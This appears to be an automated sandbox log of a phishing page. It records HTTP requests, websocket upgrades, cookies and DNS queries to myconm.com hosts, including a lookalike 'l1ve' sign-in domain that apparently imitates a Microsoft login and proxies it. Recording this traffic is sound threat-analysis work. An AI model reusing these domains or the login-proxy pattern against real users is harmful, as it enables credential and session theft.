Source: global traffic	HTTP traffic detected: GET /0e591a278ea443c18aa44fdb64cfa07a/ HTTP/1.1Host: offcap.myconm.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://offcap.myconm.comSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; MicrosoftApplicationsTelemetryDeviceId=f838640a-cf8a-4a39-8bf0-a2fc6bb74112; brcap=0Sec-WebSocket-Key: rABVgOFLHsWXz+frWttiBw==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1Host: cd092d4c-0e591a27.myconm.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://offcap.myconm.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg HTTP/1.1Host: cd092d4c-0e591a27.myconm.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://offcap.myconm.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_117b650bccea354984d8.js HTTP/1.1Host: cd092d4c-0e591a27.myconm.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1Host: cd092d4c-0e591a27.myconm.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://offcap.myconm.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1Host: cd092d4c-0e591a27.myconm.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://offcap.myconm.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_4285088f1dbaf52a876d.js HTTP/1.1Host: cd092d4c-0e591a27.myconm.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://offcap.myconm.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1Host: cd092d4c-0e591a27.myconm.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg HTTP/1.1Host: cd092d4c-0e591a27.myconm.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1Host: cd092d4c-0e591a27.myconm.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1Host: cd092d4c-0e591a27.myconm.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_4285088f1dbaf52a876d.js HTTP/1.1Host: cd092d4c-0e591a27.myconm.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="
Source: global traffic	HTTP traffic detected: GET /0e591a278ea443c18aa44fdb64cfa07a/ HTTP/1.1Host: offcap.myconm.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://offcap.myconm.comSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; MicrosoftApplicationsTelemetryDeviceId=f838640a-cf8a-4a39-8bf0-a2fc6bb74112; brcap=0Sec-WebSocket-Key: BrcrT96RocZzlZRG7wT6Bw==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif HTTP/1.1Host: cd092d4c-0e591a27.myconm.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://offcap.myconm.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif HTTP/1.1Host: cd092d4c-0e591a27.myconm.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://offcap.myconm.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="
Source: global traffic	HTTP traffic detected: GET /oauth20_authorize.srf?scope=openid+profile+email+offline_access&response_type=code&client_id=51483342-085c-4d86-bf88-cf50c7252078&response_mode=form_post&redirect_uri=https%3a%2f%2foffcap.myconm.com%2fcommon%2ffederation%2foauth2msa&state=rQQIARAA42Kw0skoKSkottLXL8gvKknM0cvNTC7KL85PK8nPy8nMS9VLzs_Vyy9Kz0wBsYqEuAR0O_mmiwTruGwT7WO_wnnfZxYjZ3xOZhlY5SpGZcLG6V9gZHzByHiLSdC_KN0zJbzYLTUltSixJDM_7wKLwCsWHgNmKw4OLgEGCQYFhh8sjItYgbbuUfB67en-xXtHTcrSa9e1GU6x6hc6FfiHZ0WkGWqb-ZpkmZmaeGaWFnsUZkREuGsbGJmVpzim-Pl6mpsmmuTbGloZTmATmsDGdIqN4QMbYwc7wyx2hgOcjBt4GA_wMvzgu9Nxe3Ff_7F3Hq_4dcLzAnJcozwMPQuSzd1NLHycip0zkw3Logpd3ar8k5Nz3EuSc119vKtysn1tNwgwPBBgAAA1&estsfed=1&uaid=970e892d5314442cb6158e07d409df4c&fci=https%3a%2f%2f6468e4d8-0e591a27.myconm.com&username=bob%40outlook.com&login_hint=bob%40outlook.com HTTP/1.1Host: l1ve.myconm.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://offcap.myconm.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="
Source: global traffic	HTTP traffic detected: GET /common/GetCredentialType?mkt=en-US HTTP/1.1Host: offcap.myconm.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; MicrosoftApplicationsTelemetryDeviceId=f838640a-cf8a-4a39-8bf0-a2fc6bb74112; brcap=0; ESTSWCTXFLOWTOKEN=AQABIQEAAADW6jl31mB3T7ugrWTT8pFe2j3RdnNuE0GFdTQS7Ut67vMN1C1Guyb7dFdurOJ0jfOvTtrUGz0f7WyrXMilqve5aDst3BqHOq51zsPBDnzlxT6epiyYDsiwTAIbHvdxDoudG2ntcDeHu2TObVS0Ec8C1dTR-5mKNfuwUCgmWRXX8cpJuVe5nJR0DZxBStdKKnL4lFMoCa4w-96R7bLkD5khmqgpX592icGzBIjVWSIRkKos6W4bgJkPacRVy7okWhnMwjtADiqxqkoufFGuY5fkMLBCFTbAyawTAvTtdaEUz4U4PIbRchFdHWHC_FvSGRgjRRSsAeec8I1J6JWsHVmEBQ7uAC2G6zGAKDq4xV_gj95Svk-0p2RvzGYvlsewqiWgwK_XE9eJteiRJ3ho8DxolmjSruvCEJcJyvAYGZFxF42KiWGPvgAS9cpQanjbsy8PRfNPxnve1HeRNl1eeqhL9h63bsqTbmhNiix5cSTNctF1fR4N9laeFy6r9tVjCG2Mv__gLJp-F2w8f03j8Q6FIAA
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif HTTP/1.1Host: cd092d4c-0e591a27.myconm.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif HTTP/1.1Host: cd092d4c-0e591a27.myconm.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="
Source: global traffic	HTTP traffic detected: GET /shared/5/js/login_en_GZu1H3AHaJ0ROCr2BSwwfw2.js HTTP/1.1Host: 32eb4ebc-0e591a27.myconm.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://l1ve.myconm.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://l1ve.myconm.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /0e591a278ea443c18aa44fdb64cfa07a/ HTTP/1.1Host: l1ve.myconm.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://l1ve.myconm.comSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="Sec-WebSocket-Key: cLnuZn7d9cyJr69dqTrFxA==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /0e591a278ea443c18aa44fdb64cfa07a/ HTTP/1.1Host: l1ve.myconm.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://l1ve.myconm.comSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="; MC1="GUID=79c56b7970324e2f992d785b446d07d7&HASH=79c5&LV=202412&V=4&LU=1733766196293"; MS0=0948991d4b3d449c8f22fe345e27b6c0Sec-WebSocket-Key: X7AqElgbTITcXGIhT2CN3g==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /shared/5/chunks/oneds-analytics-js_077217740c853b5d4fe8.js HTTP/1.1Host: 32eb4ebc-0e591a27.myconm.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://l1ve.myconm.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://l1ve.myconm.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/5/images/microsoft_logo_ee5c8d9fb6248c938fd0.svg HTTP/1.1Host: 32eb4ebc-0e591a27.myconm.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://l1ve.myconm.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="; MC1="GUID=79c56b7970324e2f992d785b446d07d7&HASH=79c5&LV=202412&V=4&LU=1733766196293"; MS0=0948991d4b3d449c8f22fe345e27b6c0
Source: global traffic	HTTP traffic detected: GET /shared/5/images/2_bc3d32a696895f78c19d.svg HTTP/1.1Host: 32eb4ebc-0e591a27.myconm.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://l1ve.myconm.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="; MC1="GUID=79c56b7970324e2f992d785b446d07d7&HASH=79c5&LV=202412&V=4&LU=1733766196293"; MS0=0948991d4b3d449c8f22fe345e27b6c0
Source: global traffic	HTTP traffic detected: GET /shared/5/js/login_en_GZu1H3AHaJ0ROCr2BSwwfw2.js HTTP/1.1Host: 32eb4ebc-0e591a27.myconm.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="; MC1="GUID=79c56b7970324e2f992d785b446d07d7&HASH=79c5&LV=202412&V=4&LU=1733766196293"; MS0=0948991d4b3d449c8f22fe345e27b6c0
Source: global traffic	HTTP traffic detected: GET /?session_id=970e892d5314442cb6158e07d409df4c&CustomerId=33e01921-4d64-4f8c-a055-5bdaffd5e33d&PageId=SI HTTP/1.1Host: b4cef784-0e591a27.myconm.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://l1ve.myconm.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="; MC1="GUID=79c56b7970324e2f992d785b446d07d7&HASH=79c5&LV=202412&V=4&LU=1733766196293"; MS0=0948991d4b3d449c8f22fe345e27b6c0
Source: global traffic	HTTP traffic detected: GET /GetExperimentAssignments.srf HTTP/1.1Host: l1ve.myconm.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="; MC1="GUID=79c56b7970324e2f992d785b446d07d7&HASH=79c5&LV=202412&V=4&LU=1733766196293"; MS0=0948991d4b3d449c8f22fe345e27b6c0

Source: global traffic	DNS traffic detected: DNS query: webservice.ucampaign.unear.net
Source: global traffic	DNS traffic detected: DNS query: sphexams.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: ameninternazionale.org
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: offcap.myconm.com
Source: global traffic	DNS traffic detected: DNS query: findicons.com
Source: global traffic	DNS traffic detected: DNS query: images.freeimages.com
Source: global traffic	DNS traffic detected: DNS query: 6d700e25-0e591a27.myconm.com
Source: global traffic	DNS traffic detected: DNS query: cd092d4c-0e591a27.myconm.com
Source: global traffic	DNS traffic detected: DNS query: l1ve.myconm.com
Source: global traffic	DNS traffic detected: DNS query: aa45faf7-0e591a27.myconm.com
Source: global traffic	DNS traffic detected: DNS query: f3b9289a-0e591a27.myconm.com
Source: global traffic	DNS traffic detected: DNS query: af608318-0e591a27.myconm.com
Source: global traffic	DNS traffic detected: DNS query: c6b0c7df-0e591a27.myconm.com
Source: global traffic	DNS traffic detected: DNS query: 32eb4ebc-0e591a27.myconm.com
Source: global traffic	DNS traffic detected: DNS query: 6ef77b17-0e591a27.myconm.com
Source: global traffic	DNS traffic detected: DNS query: 0fa96f3e-0e591a27.myconm.com
Source: global traffic	DNS traffic detected: DNS query: 26e0e80c-0e591a27.myconm.com
Source: global traffic	DNS traffic detected: DNS query: 4e1fa428-0e591a27.myconm.com
Source: global traffic	DNS traffic detected: DNS query: 3c5f129b-0e591a27.myconm.com
Source: global traffic	DNS traffic detected: DNS query: b4cef784-0e591a27.myconm.com

Source: unknown

